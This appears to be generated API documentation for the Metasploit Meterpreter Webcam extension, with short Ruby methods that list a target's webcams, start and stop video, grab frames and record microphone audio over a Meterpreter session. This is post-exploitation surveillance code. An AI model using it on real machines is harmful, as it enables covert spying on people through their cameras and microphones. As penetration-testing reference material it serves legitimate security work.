Class: Rex::Post::Meterpreter::Extensions::Stdapi::Webcam::Webcam

Inherits:
Object
  • Object
show all
Defined in:
lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb

Overview

This meterpreter extension can list and capture from webcams and/or microphone

Instance Attribute Summary collapse

Instance Method Summary collapse

Constructor Details

#initialize(client) ⇒ Webcam

Returns a new instance of Webcam.



18
19
20
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 18

def initialize(client)
	@client = client
end

Instance Attribute Details

#clientObject

Returns the value of attribute client.



60
61
62
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 60

def client
  @client
end

Instance Method Details

#record_mic(duration) ⇒ Object

Record from default audio source for #duration seconds; returns a low-quality wav file



53
54
55
56
57
58
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 53

def record_mic(duration)
	request = Packet.create_request('webcam_audio_record')
	request.add_tlv(TLV_TYPE_AUDIO_DURATION, duration)
	response = client.send_request(request)
	response.get_tlv( TLV_TYPE_AUDIO_DATA ).value
end

#webcam_get_frame(quality) ⇒ Object



39
40
41
42
43
44
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 39

def webcam_get_frame(quality)
	request = Packet.create_request('webcam_get_frame')
	request.add_tlv(TLV_TYPE_WEBCAM_QUALITY, quality)
	response = client.send_request(request)
	response.get_tlv( TLV_TYPE_WEBCAM_IMAGE ).value
end

#webcam_listObject



22
23
24
25
26
27
28
29
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 22

def webcam_list
	response = client.send_request(Packet.create_request('webcam_list'))
	names = []
	response.get_tlvs( TLV_TYPE_WEBCAM_NAME ).each{ |tlv|
		names << tlv.value
	}
	names
end

#webcam_start(cam) ⇒ Object

Starts recording video from video source of index #cam



32
33
34
35
36
37
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 32

def webcam_start(cam)
	request = Packet.create_request('webcam_start')
	request.add_tlv(TLV_TYPE_WEBCAM_INTERFACE_ID, cam)
	client.send_request(request)
	true
end

#webcam_stopObject



46
47
48
49
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 46

def webcam_stop
	client.send_request( Packet.create_request( 'webcam_stop' )  )
	true
end